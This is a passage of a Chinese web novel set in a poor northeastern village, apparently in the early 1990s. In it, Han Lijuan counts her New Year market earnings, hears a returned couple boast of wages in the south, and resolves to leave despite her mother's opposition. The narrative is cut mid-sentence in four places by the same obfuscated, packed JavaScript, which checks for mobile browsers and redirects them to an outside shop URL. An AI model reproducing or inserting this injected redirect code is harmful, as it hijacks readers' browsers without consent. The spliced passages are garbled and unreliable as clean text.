“你俩写作业去。”张五婶赶这俩孩子。 “他俩期末考试咋样啊？”韩丽娟想起二蛋，顺嘴问到。 “挺好，小的考了双百，大的差一点，但是老师说是题难，都没有满分的。”一说起俩孩子，张五叔五婶那瞬间腰杆挺直。 “哎呀，真好。”韩丽娟真心夸赞。 “能赶上你妹小敏我们就知足了。”张五婶说道。韩丽娟的妹妹韩丽敏在县一中读书，成绩不错。“也不求她们啥，以后能在城里找份工作就行，别种地，种地太累。”还靠天吃饭，怕涝怕旱，怕冷怕热。 所谓冬天的农闲，那是相对于农忙时候活少了些，不是完全闲着。鸡鸭鹅狗牛马羊，哪一个都得喂，都得伺候，打回来的庄稼脱粒扬场，晚上点着煤油灯，一家子围在一起搓苞米……更别提农忙的时候，天不亮就下地，顶着大太阳铲地，那可真是汗水掉地上摔八瓣。 辛辛苦苦一年，除了吃喝，也剩不下几个钱。 他们没文化，只能种地，就盼着孩子能离开这里。 等一只大鹅的毛拔的差不多，张老五两口子知道怎么整后，韩丽娟婉拒他们让她再待一会，等杀完鹅拿点鹅杂回家吃的好意，起身离开，撕撕扯扯直到大门口，韩丽娟才完全脱身。 大冬天，整出一身汗。 “呀，这鱼晚上就炖？”到了家，发现他老叔正在收拾鱼头。 “炖一半。”韩超美说，他将整个鱼头一分为二。 “狗肚子存不住二两油。”她奶奶一边烫苞米面，一边嘟囔。 “二蛋呢？”韩丽娟找小板凳，发现二蛋走了。她拿起小板凳，做到灶前，拿起之前缓好的冻柿子，一边吃一边问。 “让他去叫大蛋，顺便叫你哥一会过来，端一碗回去。”老太太回。就半拉鱼头，不叫那几个大人，老太太就准备叫大蛋二蛋过来，顺便给怀孕的大孙媳妇端回去点。“咱家这伙头兵干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060118|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活是最积极的。”老太太看着韩丽娟坐在灶前，忍不住打趣。 “还吃，一会不吃鱼啊。”韩超美拎着一个小板凳，拿着一瓣蒜，坐到韩丽娟旁边。 “你炖，老叔？”韩丽娟问。 “看你大哥啥时候来，他来的早让他炖行不行？” “行。”她大哥做饭香。 “咋地，我听你奶说，你要去市里？”刚刚老太太告诉他为啥韩丽娟眼睛通红。 “嗯。”她在吃东西，所以说话都是一俩字的蹦，怎么简洁怎么来。 “有啥目标没？” 韩丽娟摇头。韩超美皱眉。 “咱们市白扯。”韩超美说。“我听新闻里边说，人南边工厂工人一个月都赚一两百，两三百的。咱们市里倒是有几个工厂，但是市里的人想进去都不容易，其他的也没啥工作岗位，要是出去，还不如往远走。再说，你跟着我，咱俩一年不也不少对付，也不用出去受苦，遭那罪干啥。” 他们县是农业县，他们市也是个农业大市，工业商业都不发达，现在虽然有小买卖人，但都是家庭作坊为主，但凡市里有机会，韩超美早去了。 “老叔，附近的几个屯里人照顾我，愿意把鹅毛卖给我，但我如果就只靠这几个村，也赚不到钱。”韩丽娟三两口吃完柿子，洗了手。“村里的小买卖也是干不长远，我想着找个能干长远点的活。” 至于往外走的事情，她偶尔想过，但没仔细琢磨。“老叔，我偶尔也听说南方工作机会多，但也没怎么太注意，你详细说说？” “你别跟你侄女瞎说，到时候你大嫂找你算账我可不管哈。”她奶在一边听韩超美跟韩丽娟一唱一和的，眼看着去的地方从市里变成南方，虎着脸说。 “奶，不是瞎说，现在外面变化可大了，咱们屯没人买电视，不然你能看见。” 他们屯附近这几个屯90年刚刚通电，而且说停电就停电，电视机这种，还没人买。 “一个个穷的兜比脸干净，还买电视看呢，撒泡尿看自己得了。”老太太话糙理不糙，村里人家都穷。“这也就是这两年，有人家有点富余钱，开始琢磨买点电器，前两年买包火柴都得两家拼着买。那……” 话未说完，被开门声打断。 “爷，奶。”韩丽娟她大哥韩立伟来了。“老叔，娟子” “大伟来啦。”韩超美赶紧招呼。“快，等着你炖鱼呢……” 韩立伟也没耽搁，赶紧去洗手。 …… 火舌舔着锅底，烫得汤汁滋滋作响，咕咕的呼叫。“啪！啪！啪！”玉米面饼子争先恐后跳进锅里取暖。大蛋二蛋凑在她身边，拿着粉条在火上烤，时不时地高呼。 闻到鱼腥味的大黑也不趴炕头了，也找个能烤火的地方，跟她一样，两眼盯着锅一动不动。 韩丽娟杵着下巴坐在那，或许他老叔说的有道理，她应该把眼界放宽点，关注关注南边的消息。 9. 第 9 章 但，韩丽娟也来不及瞎想太多，年前这段时间太忙了，每天收鸡收鹅，等过了小年，丽娟直接住在她老叔家，跟他老叔早出晚归摆摊买年货。 “二十七块七，二十七块八……”昏黄的电灯下，韩丽娟两眼放光，数着分到她手的钱，她之前的估计太保守，今年何止赚了一百，这个冬天，乱七八糟的算起来，她赚了231块6毛8！ 咔！心满意足的将钱放进小铁盒，跟之前零零散散攒下的放在一起，三百多块啦。 发财啦，哈哈哈！ “这小财迷样。”她老婶周晓芹将闺女哄睡，一抬头，就看见韩丽娟满足的笑容。 “娟子，你那么爱赚钱，赚钱想干啥呀。”她问到。 “还没想好，但是老婶，赚钱的感觉很快乐，你不觉得吗？如果天天过年就好了，那样，我跟老叔赚翻了！” 韩丽娟喜欢赚钱，赚钱之后的想法就是赚更多的钱，钱赚来怎么花，还真没规划过，可能是钱太少，没啥好规划的。 “哈哈哈”韩丽娟老婶周晓芹压着笑声。“天天过年，你不嫌累？” “不累！”韩丽娟痛快的摇摇头。这几天每天都能赚二十多块，累啥，乐都要乐死了，可惜，也就年前这几天能赚的多，她朝孙慧打听过，平日里她家的小店，一天也就二三块钱。 “明天就大年二十九了，咱们不摆了，再摆下去，你奶跟你妈来年得念叨咱俩一年。”韩超美也在数钱，数完后说“明天回屯子。” 韩丽娟点头，她没意见。其实今天下午人就不多了，明天上午还能有一拨人，等下午就没啥人在外面闲逛，三十那天，就都开始在家忙着过年。 …… 就算韩丽娟跟她老叔自觉回来，她妈也没少奚落她。 “大禹治水都没你忙，国家领导都知道回家吃饭，这可倒好，这么多天不着家，搬回来的是金山还是银山啊！” 话是这么说，但是还是出来帮着韩丽娟拎东西。 “搬回来的不是金山银山，是‘五谷丰登’、‘肥猪满圈’、‘金鸡满架’……” 韩丽娟掏出给家里预备的对联、挂钱、年画还有糖块等过年吃的用的，大大小小摆了一堆。 “妈，你看这些，都没用你花钱买，是不是挺好。” 被赵淑芬支使干活的韩老四和韩丽敏都吸引来。“姐，你可真厉害。”韩丽敏竖起大拇指。“我闺女行！”韩老四不吝夸赞。 “你俩赶紧干活去。”赵淑芬挥着手撵这俩人。“外地下（厨房）的碗架子好好擦擦，还有你们那屋收拾出来。”过年了，闲置的西屋也得住人。“你老叔老婶也回来了？”安排完那对父女俩，赵淑芬问韩丽娟。 “回来了。”韩丽娟点头。 “人俩一年到头的潇洒哈，论年到头看不着人，过年回来吃现成的。” 老叔老婶家在村里也有房子，两间矮趴趴的小土房，房子还不如韩丽娟家的大，自从搬到街里后，就一直空置着。平时老叔老婶回来要么就住他爷奶家，要么就来她家或者二叔家凑合一晚。 因为韩丽娟家跟她二叔家挨着，两家的房子都比她爷奶家的宽敞，东西院住人都能住下，加上他爸是老大，所以，这几年过年，都是在韩丽娟家吃年夜饭，自然而然的，她爸妈就要比别人多做准备，多劳心劳力，赵淑芬不可能一点怨言没有。 “妈，哪有你这样刚刚收了人家两条大鲤鱼，就在背后讲讲人家，”韩丽娟笑着说，不过她也习惯了，她妈就是爱叨叨几句。 “两条鱼就想收买我，我那是看你爷你奶的面子，你以为我在乎他俩给那点玩意啊。”他俩，指的是她老叔老婶。 “大娘~~大娘~~” 忽然，院子里传来清脆的童音。 “哎！”刚刚还跟韩丽娟粗声粗气的赵淑芬，立马夹起嗓子，出了门。 她老婶抱着小丽彤过来了。 “哎呀，快让大娘抱抱。”赵淑芬走到院子，从周晓芹手中接过孩子，用胳膊掂量掂量。对周晓芹说“艾玛，这孩子又胖了，你养的可真好，白白净净的。” 说完又夹起嗓子对小丽彤说。“是不是想大娘了呀！” “嗯~~想啦。”小丽彤的奶音，哄得赵淑芬眉开眼笑。“哪想呀？” “这！”小姑娘隔着厚厚的棉衣，指着自己心脏的位置。 “哈哈哈哈哈……” 一行人嘻嘻哈哈进了屋。 “我说要来你家帮你忙一忙，她非得要跟来。”周晓芹甩甩胳膊，这一路抱来，确实挺累的。 “哎呀，有啥忙的，我跟你大哥我俩人就行了！”赵淑芬把孩子抱上炕，脱了外套。“快上炕里。” 小家伙蹦蹦跶跶跑到炕里。“大娘，你家炕真暖和。” “哈哈哈哈”赵淑芬又被逗笑了。 看这笑的不值钱，韩丽娟心想，刚刚可还在背后讲讲人家呢，这功夫叫人家姑娘哄得找不到北。 “大嫂，今天蒸馒头？”周晓芹看见炕上放着两个黑色大面盆，盖着盖帘，掀开一个一看，面都发了，满满一大盆。“这面发的真好，来年你家要发呀。” “哈哈哈，年年都发，也没看到发哪去了。”吉祥话，谁都爱听，尤其是赵淑芬。 “我每次发面都不行，也不知道是不是老面头没泡到时候还是咋回事，馒头没有你家蒸的好。”周晓芹是真的在取经。 “一开始都一样，慢慢来，发出经验就好啦。”赵淑芬虽然会做，但是总结不出来啥窍门，她觉得是熟能生巧。“彤彤，快来，大娘给你扒瓜子仁吃。” 韩丽娟端上来家里新炒的瓜子。她把今天带回来的东西都收拾归整，便拿着给她二叔家捎的春联，要去隔壁。 “姐，姐。”彤彤看她要走，伸着手要抱抱，想跟着走。 “娟子，你带着彤彤过去吧，我一会跟你妈蒸馒头，她在这还捣乱。”三四岁，正是讨人嫌的时候，看啥都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060119|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇，啥都想参与，不让就嚎，还听不明白道理。 “行。小敏，走，带着彤彤去二叔家。”韩丽娟叫了一个帮手。这段日子在她老叔家，她可知道这个小朋友的威力，照顾孩子可不比一般干活轻松。 他二叔家，二婶跟二叔也在忙着。二婶在擦炕席，二叔擦镜子。“忙着呢？”韩丽娟抱着彤彤进来。 “呀，快啦。这过年就这么回事，咋收拾感觉都有活，不到过年那天，停不下来。”王红梅招呼她们坐炕上，朝地上抖了抖手里的抹布。“彤彤来啦~” 小客人总是被优待的那个，要单独打个招呼。 “你老叔老婶都来你家了？”她二叔韩建设问。 “就我老婶来了，老叔在我爷家呢。”韩丽娟回道。 “蒸馒儿~”彤彤说。 “对，蒸馒头。”韩丽娟笑着回应。“这小孩真是，啥都知道。” “哎，你那快镜子擦了一上午，还没擦完？赶紧上大哥大嫂家看看，有没有啥帮忙的。”王红梅一听，那院要蒸馒头，老三家都去人了，她家不能没人出现啊。 “我早上出门的时候看见大哥，他说了今天蒸馒头，我问他要不要帮忙，他说不用。”韩建设把镜子重新挂好。“我还寻思一会歇一会呢，忙一上午了。” “你这一天赶上地主大老爷，逮着功夫就想歇一会，一天跟炕最亲，赶紧的，然后跟他们说，中午过这头来吃，我一会整俩菜，今天蒸馒头，他们也来不及做菜。”眼看过年了，也不能咸菜就馒头凑合吧。 “行，那你在家看孩子，我过去。”韩建设应道。“还有没有啥事，没啥事我就走了。” “去仓子的大缸里拿块肉，再捡几个冻梨回来。” “行” 韩建设忙完这边的事，就过去了。这边让韩丽敏带着几个孩子在屋里玩，韩丽娟帮着王红梅做菜。 中午主菜是酸菜白肉。 一边做着饭，王红梅一边跟韩丽娟闲聊。聊着聊着，就聊到上次没成功的相亲上。 “娟子，想没想过具体要找个啥样的？”王红梅问。 韩丽娟摇头，她不是没想过，但想不出具体的人。“二婶，我也不清楚，但我想找个跟自己合得来的，自己看着顺眼的。”但是，这些都太笼统，说出来别说别人，她自己都迷糊。 “那天相亲没成，舅妈那边没事吧。”韩丽娟问。 “那能有啥事，哪有相一个就成的，你也别往心里去，这个不行，就找下一个。”王红梅没想到娟子还在意那次相亲。 “主要是人家也没啥大问题，我还挑肥挑瘦的，怕到时候别人说。” “谁说？”本来正在炒酸菜的王红梅转身看了眼韩丽娟。“为了相对象这事上火了？这可不是你的性格，那天你妈跟我说起这事得时候，我还劝她呢，没结婚的时候挑一挑不是毛病，婚后再挑，那可是要命的。我跟你说，找对象这是可不能看别人咋说，你得自己喜欢。” 10. 第 10 章 顿了顿，她又说。“不过也别挑花眼，遇到那合适的可得抓住。”她抬起头往屋里看了看，确认炕上的几个小孩没往这边看，凑近韩丽娟，小声说。“觉得好的，就先占上处着，处着处着觉得这人不是那么合适，没那么好再分手也行。这都什么年代啦，可千万别有那老思想，觉得处上对象就不能分手，你得处，不处能知道那人啥样嘛。” “哈哈哈哈”韩丽娟笑道。“二婶，你思想挺先进啊。” “哎呀，先进啥，谁都年轻过，哈哈哈哈。”王红梅把自己说乐了。“你等年后，二婶再给你寻觅，下次我看好了，先来找你，先不告诉你妈，等你觉得行了，咱们再说。” 第一次给人保媒，属实没经验，搞得娟子跟她妈吵架，这是王红梅始料未及的。 “行。”韩丽娟干脆的答道。 …… “娟子，娟子！” 娘俩把菜炖锅里，刚刚爬上炕，捧着冻梨啃，就见窗户外趴着一个人，朝屋里挥手。 她同村的小姐妹张艳霞来找她。 “快进来。”王红梅热情招呼，“上炕坐！” “不了五婶，我来找娟子，走啊娟子，前屯子那个赵二妮回来了，好多人去看，咱俩也去看看呀。”张艳霞站在卧室门边，一手扶着门框，伸出一个脑袋，跟王红梅打过招呼后，就喊着韩丽娟要走。 “二妮姐，她回来了？啥时候回来的？”韩丽娟一边下地穿鞋，一边问道。 “前天，你在街里没回来不知道，这两天她家老热闹了，都说两口子现在变样了，可洋气啦。”张艳霞将自己知道的消息分享给韩丽娟。 “真的啊！那走。”韩丽娟穿好衣服，就拉着张艳霞要出门。“小敏，你去不？”临走前还回头问了问韩丽敏。 韩丽敏摇头，她不喜欢凑这些人多的热闹。 “你俩待一会就回来，要过年了，别再人家多待。”王红梅嘱咐道，年前谁家都有活呢。 “知道啦，我们走了二婶，我一会就回来。”韩丽娟说完，跟着张艳霞俩人跑出去。 “听说他们一年赚好几千”张艳霞情绪很高，似乎钱是她赚的一般兴奋。“都说他们两口子发财了。” “真的假的，南方打工这么赚钱？”韩丽娟疑惑，最近她也关注一些新闻和信息，要说出去打工绝对比留在村子里种地强，但是据她的了解，打工工资再高，也称不上发财吧。 “我也不知道，但说是赵二妮她对象跟大老板攀上关系了，跟人家称兄道弟的，人家不少给开钱。”昨天村里的一个婶子去她家唠嗑，说了可多了。“附近几个屯子人都去过，大家都这么传。” “是吗，快走快走。”韩丽娟迫不及待想知道一些南方的讯息。 …… 赵二妮家真的很热闹，还在大门口，都能听见屋里笑声一片，人影绰绰。 一进屋，就见厨房坐了一堆人，一群大老爷们儿都在这坐着唠嗑。最中间的是赵二妮她对象，韩丽娟记着姓孙，具体叫啥不记得，因为没怎么叫过名字，赵二妮跟韩丽娟姥姥家有点千丝万缕的亲戚关系，按辈分，她管赵二妮叫姐，这个男的叫姐夫。 赵二妮假的房子格局是开门就是厨房，里间是个卧室，卧室跟厨房是东西格局，跟韩丽娟她奶奶家一样的。这是北方农村常见的土房的一种，假两间。 还有一种就是韩丽娟家的样子，开门是走廊，一左一右两间卧室，走廊尽头左右是厨房，卧室跟厨房是南北格局。 “姐夫。”韩丽娟打招呼。 “呀，娟子，来啦，快进屋，你姐她们在屋里唠嗑呢。” 赵二妮他对象此时正在跟大伙吹牛皮，他穿着一身肥大的西装，坐在老榆木长腿方凳上，翘着二郎腿，晃悠着脚丫子，手上还夹着一根烟，看样子是真的有钱了，韩丽娟看了一眼，抽的是过滤嘴，不是农村自己卷的老旱烟。 他看见韩丽娟她们，也没多寒暄，这两天来的人太多，男的他招待，女的就迎进里屋，他媳妇招待。要是放在别人家，见这么多人来都不耐烦，但他们两口子不是，都是那种爱热闹的人，恨不得人来的越多越好。 “娟子，艳霞你们来啦，快找地方坐。” 屋子里，坐在炕上的赵二妮见又来了人，急忙招呼。 屋里哪有地方坐啊，满满登登都是人。但是大家都熟悉，几个妇女挤一挤，给他俩让出点位置。 一群妇女一边嗑着瓜子，一边唠嗑。主要是大家伙问，赵二妮答，间或赵二妮想起点啥，主动跟大家伙分享分享。 她穿着大长的黑皮裙子，腿上不知道穿的什么袜子，挺老高，遮住了里面的棉裤。上身穿着一件鲜艳的毛衣，头发烫过的，看上去就没少喷发胶，黑亮黑亮的，低头，头发都不往下掉，型定的特别好。 “妈呀，你别说哈，还是这城里这玩意，这口红，一上午，你看还是这色。”一个妇女盯着赵二妮的嘴唇说道。 其实也掉了一些，但看上去还是红的。 “是比抿红纸强哈。”现在农村的妇女，用的化妆品三件套，胭粉，红纸，嘎啦油。条件好点的，用点郁美净和万紫千红，没听说谁家有口红。 大红纸不仅仅妇女用来抿嘴唇，还有孩子们眉间的红点，过年馒头上的点红。 “你快别说了，你那红纸啥玩意，人家这口红好几块呢，十多块吧。十多块买红纸够你抿一辈子，那还用不完。” “哈哈哈哈哈哈。” 众人笑作一团，笑声能掀翻棚顶。 “二妮，南边真那么暖和呀？” 刚刚韩丽娟他们到来之前，屋子里正在讨论南边的气候。 “暖和，那边没有炕，全是床，哪像咱们一进屋拖鞋上炕啥的，人家有客厅。” “那冬天也不用烧那么多柴火，省老事了。” “可不是咋地。” “那你说，这南边北面差距咋这么大呢？” 众人一听南边没炕，还这么暖和，一时之间七嘴八舌，议论纷纷。 “我知道我知道，大兴安岭雪花还在飞舞，海南岛上鲜花已经盛开，我们的祖国多么广大。”在一边坐着看热闹的赵二妮她大侄女插话道。“书上都写了。” “哎呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060120|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你看现在的孩子，读书就是不一样哈！” “可不，比咱们懂得多。” “那你说，没有炕，晚上睡觉不怕咕噜到地上吗？”一个妇女问。 “哎呀妈呀，那要那么咕噜，那炕也不抗用，两天半不就塌了。”另一个妇女立马接话。 “哈哈哈哈……”一时间，已婚妇女笑一片，留下几个单纯的孩子不懂得这有啥好笑的。 …… “二妮姐，你在那边一个月赚多少呀？”韩丽娟听众人聊了半天，也插嘴问道。 农村人没有那么多避讳，像是工资这些，想问就问。 “也不固定，多的时候三四百，四五百呢，少的时候，也就一两百块钱，哎呀，挣的不多，都是辛苦钱。”赵二妮嘴上说的谦虚，其实表情很是自豪，觉得自己赚的不少。 赚的确实不少。农村忙一年，到年底抛除吃喝，也剩不得几百块，还是全家总收入，人家一个妇女，就比农村一家人赚的多，确实值得骄傲的。 “哇！”大家都发出羡慕的赞叹。 “我对象赚的比我还多。”赵二妮忍不住追加一句。 “那干啥活呀？”人群中有人接着问。“我们要是过去，也能赚这么多吗？” 一个月不多算，就算两百，一年就两千四，两口子四千八，就算一半用来花费，还剩下两千多呢，能买彩电！ “你？你不行。”赵二妮打量打量说话的妇女。摇摇头，目光在房间里转悠转悠，最后落在韩丽娟身上。“得像娟子这样的吧，一个月能挣三五百！” ？人群有短暂的沉默。 “哎呀，你们想啥呢，人家大酒店可不是啥人都招，你得长得好看，往那一站，人家来吃饭的谈生意的看着也开心，长得像个地缸，你也就只能在后厨洗洗盘子洗洗碗，还想多赚钱。” 赵二妮看大家神色不对，知道大家想差了，赶紧解释。 “哈哈哈，也是，你就去街里一百，但凡卖店贵东西的柜台，销售长得都好看。”人群恢复热闹。“咋样，今年能攒下多少钱？” “攒不下。”赵二妮摇头。“赚得多花的也多。在那块，就是一棵葱也得花钱买，而且朋友多了，人家叫吃饭你去了，你隔三差五的也得回请。” 赵二妮两口子完全是当地赚钱当地花，一分没想带回家。 …… “娟子，你觉得赵二妮他们两口子有几句实话？”从赵二妮家出来，张艳霞跟韩丽娟，一边往家走，一边讨论。 “我觉得赚钱是赚到了，可能花钱也是真都花出去了。”韩丽娟分析道。刚刚他们在赵二妮家，还看了他对象的皮大衣，说是好几百呢。不过确实吸引人，黝黑锃亮的，在一屋子羊皮袄军大衣中间，熠熠生辉。 “真好。”张艳霞忍不住感叹。“你看二妮姐，以前虽然爱说，可没这么爽朗，你看现在，大大方方的。” 韩丽娟也认同，这两口子完全变样，比以前自信大方多了。别管赚没赚到钱，人家见过世面，看到的东西多，就是跟她们不一样。 “我也想出去打工。”韩丽娟说 11. 第 11 章 “你想去羊城？”张艳霞问，赵二妮两口子就是去的羊城。 “我还在想去哪。”韩丽娟回。赵二妮跟她家沾亲带故，如果她说想出去，求他们把她带出去，对方应该不会拒绝，但…… 一方面羊城太远，另一方面二妮姐他们两口子的工作，听着怎么那么不靠谱呢。 她想这几天也打听着别的消息，据她这一年收鹅毛知道的消息，附近村子有三五对夫妻出去打工的，想来过年也会回来。只不过大家没有二妮姐他们这么高调。她等过年拜年时候打听打听，若是还有别的不错的地方，她就选一选，没有的话，那就求着二妮姐带她去羊城，大不了到了那里自己在想办法找别的出路。 当然，首先，她要说服家里，主要是她妈，只要她妈同意她出去，她爸就不会反对。 “那我也要去！”张艳霞一步跳到韩丽娟身边，拽着她的胳膊。“带上我！” 太好了！张艳霞很激动，她其实隐约也有这种想法，但是没有说出口的勇气，她就知道娟子可以，娟子也想出去，那她就跟着就可以了！ “好呀！”韩丽娟也很高兴。“但你得跟张三大爷三大娘说好。” 之前孙慧说要跟着她走，不知道自己往远走她还跟不跟，如果跟，一个也是赶，两个也是带，他们三个一起，更安心。“对个，我还认识一个朋友叫孙慧，她也想出去，到时候咱们三个一起出去，互相帮助！” “行，咱们一起出去赚钱，二妮姐那个毛衣可真好看！” 俩人一路说说笑笑，一直到韩丽娟家门口才分开。 韩丽娟先回了自己家。她爸她二叔都没在，倒是她嫂子她奶过来了。“我爸呢？”韩丽娟跟她奶她嫂子打过招呼后，问道。“干啥去了？” “能干啥去，喝猫尿去了！”她妈没好气的说，她已经知道韩丽娟是赵二妮家的事儿了。这个闺女，回来这么一会儿又跑了。一天可真没有闲着时候。 韩丽娟看见她奶的脸抖了抖，似乎在强忍着没吱声。 “刚爷过来了，说，过年了，今天也没啥事，他们爷几个喝点。”她嫂子郑玉芳拽过韩丽娟，悄悄的说道。 原来如此，韩丽娟懂了。 “他们不在挺好！我那还有几瓶色酒，妈，咱们也喝点？”韩丽娟试探性的问。 赵淑芬说完，也有点后悔，嘴快了，忘了今天家里人多，以为就她们母女在家呢，这功夫听到韩丽娟的话，赶紧往回找补。“行，谁说只准他们爷们喝，咱们也喝。” “那我去洗杯子。”周晓芹立马去从茶盘拿起杯子去了厨房。 她奶冲她眨巴眨巴眼睛，韩丽娟嘿嘿一笑，把桌子搬来支上，去拿色酒。 因为她嫂子和她奶过来，原本定在去二婶家吃饭改到来她家，这边刚刚把桌子摆好，王红梅端着菜，小敏抱着彤彤后面跟着俩蛋过来了。 王红梅专门给郑玉芳和小丽彤各蒸了一碗鸡蛋羹，这让郑玉芳跟周晓芹又好一顿客气。 众人收拾一番，也开始吃饭。 “姐，二妮姐家热闹嘛？”饭桌上，韩丽敏问道。 “热闹，老多人了！感觉附近几个村子爱凑热闹的都去了。”韩丽娟点头。 “今天还那么多人？”王红梅问道。 “嗯，我走的时候，还一堆人在那边。”韩丽娟在他家呆了半个小时左右，大部分人也就差不多待这么长时间，只有一小部分人一直在那没走。就她在的那段时间，人来人往的，一直很热闹。 “这可真是的哈。”赵淑芬一听，都觉得不可思议。“你说那两口子，当年没出去打工的时候，穷的别人路过都躲着走，就怕被借钱。现在可倒好，都去看热闹，有啥看头呢！”赵淑芬搞不懂。“咋地，出去一趟是多个鼻子还是多个眼睛啊！” “妈，话不是这么说的。你没看到我二妮姐穿的，可时兴了。”韩丽娟可不这么认为，二妮姐两口子还是有看头的。“她对象穿西装呢，咱们街里都没几个人这么穿。”那小皮裙子，韩丽娟平时不咋知道臭美的人，看着都稀罕。 “真的，姐，好看吗？”韩丽敏有点后悔没去看看，但是她实在不喜欢跟一群半熟不熟的人在一个屋子里，这会让她十分不自在。 “好看！”韩丽娟点头。“而且大家也不只是看热闹，主要是想了解了解外面现在啥样，外面现在变化可带了，咱们这谁家有台黑白电视都是新鲜玩意，人家那都有彩电。” 他们这里太闭塞了，偶尔听听广播新闻，其他的消息啥也没有，赵二妮两口子能从他们这单打独斗摸到南边，还能赚了钱回来，单凭这点，就让韩丽娟佩服。 “妈，士别三日，当刮目相看。”韩丽敏听了她姐的话，转过来对赵淑芬说。“你不能老用老眼光看人。” “我说点实话，怎么就老眼光看人了？”赵淑芬狠狠地咬一口馒头，使劲地嚼嚼嚼。她可不是傻子，她大闺女回来到现在，一直夸赵二妮两口子，不就是想让大家都心动，都觉得出去打工好，然后放话，让她也出去嘛。 她可太懂她这闺女了，从知道她去赵二妮家看热闹那一瞬间，她就知道，这野丫头会心动。 心动就会动心眼子，她是她生的，她一撅屁股，她就知道她要拉啥屎。 “你们知道吗，二妮姐他们两口子一个月合起来能赚好几百！我估计五六百是有了！”韩丽娟眼珠子转了转，接着说道。 “这么多！”果不其然，此话一出，她奶都吃惊了。“怪不得人家这么张扬，有点本事。” “你离他们两口子远点，他俩攒不下钱，也交不出啥好人。”知道了韩丽娟的心思，别说五六百，就是五六千，五六万她都不心动！“这几天回来几波人啦，你看谁像他们两口子似的，给个锣都能搭戏台子了。” 就算没有她闺女想出去的这事吊着，她本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060121|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身也不看好这两口子，人的本性在那放着呢。那两口子以前好吃懒做的，这次挣了钱，不知道能勤快多久，跟他们走得近的人，以后不一定被这两口子拖累成啥样。 “最近都谁回来了？”韩丽娟一听，赶紧问，没在村里的这几天，看来消息挺多呀。 “陈大有他们两口子，还有吴万财，都回来了。”王红梅接过话。 “陈大有他们两口子也回来了？”周晓芹正盯着小丽彤吃饭，闻言也加入话题。 “回来了，昨天回来的，你二哥昨天去买二踢脚，回来路上遇见他们，还稍了他们两口子一段呢。对了，晓芹，那个陈大有他们两口子都是你同学，是不？” “对，我同学，他们混的怎么样啊？” “应该不差，说是本来不想回来，两口子来回路费就得两百多块，但是想接孩子走，说是那边教育好。” “是，他俩要孩子早，孩子转年七岁，得上小学了。”周晓芹算了一算，她们差不多前后脚结的婚，但她结婚三年才要孩子，陈大有他家孩子比彤彤大两岁半将近三岁呢。“这两口子还是有正事的哈。”周晓芹夸道。出去外面见到世面，最先想的是回来把孩子接走，去接受好的教育。 “还是挣到钱了，要是没钱，怎么接孩子过去，这是觉得那边好，想长时间留在那，才回来接孩子的呗。”王红梅分析。 周晓芹听了，赞同的点点头。 “老婶，陈大有他们两口子去的是滨海是吧？”韩丽娟一听还有这层关系，赶紧的凑过来。 她收鹅毛去过陈大有他们村，知道有这么俩人，但是还真不知道他们跟她老婶是同学，这层关系也能用用啊，她可以通过她老婶，打听打听，套套近乎。 “你又要干啥，我跟你说，去市里行，往外走没门哈，别整天想一出是一出的，消停待着！” 韩丽娟一加入话题，赵淑芬就敏锐的听出言外之意，小丫头狐狸尾巴漏出来了吧。 但是，她不可能同意。 “我就是好奇问问。”韩丽娟这次决定稳住她妈，不要像上次相亲似的，直不棱的跟她妈摊开来说，弄得吵吵闹闹，也没从根本解决问题。 “你最好是！” 王红梅和周晓芹听出赵淑芬话里话外的意思，止住话题，不聊这些出去的人，一顿饭，在平静中结束，赵淑芬没赢，韩丽娟没输，母女俩暗自琢磨，都想着怎么劝对方放弃想法。 晚上临睡前，韩丽娟又拿出小铁盒，392块7毛3分，她的全部家当，这些钱，还没有赵二妮两口子一个月赚的多，却是她攒了一年半的心血，他们这个小村庄还是太落后了，她一定要出去。 他要找个机会，努力的劝服她妈，这次她不跟她妈吵，一定要好好沟通，解决问题，韩丽娟给自己打气，她可以！ 让韩丽娟没想到的是，机会来的很快，很突然，并且以一种她没想到方式降临！ 12. 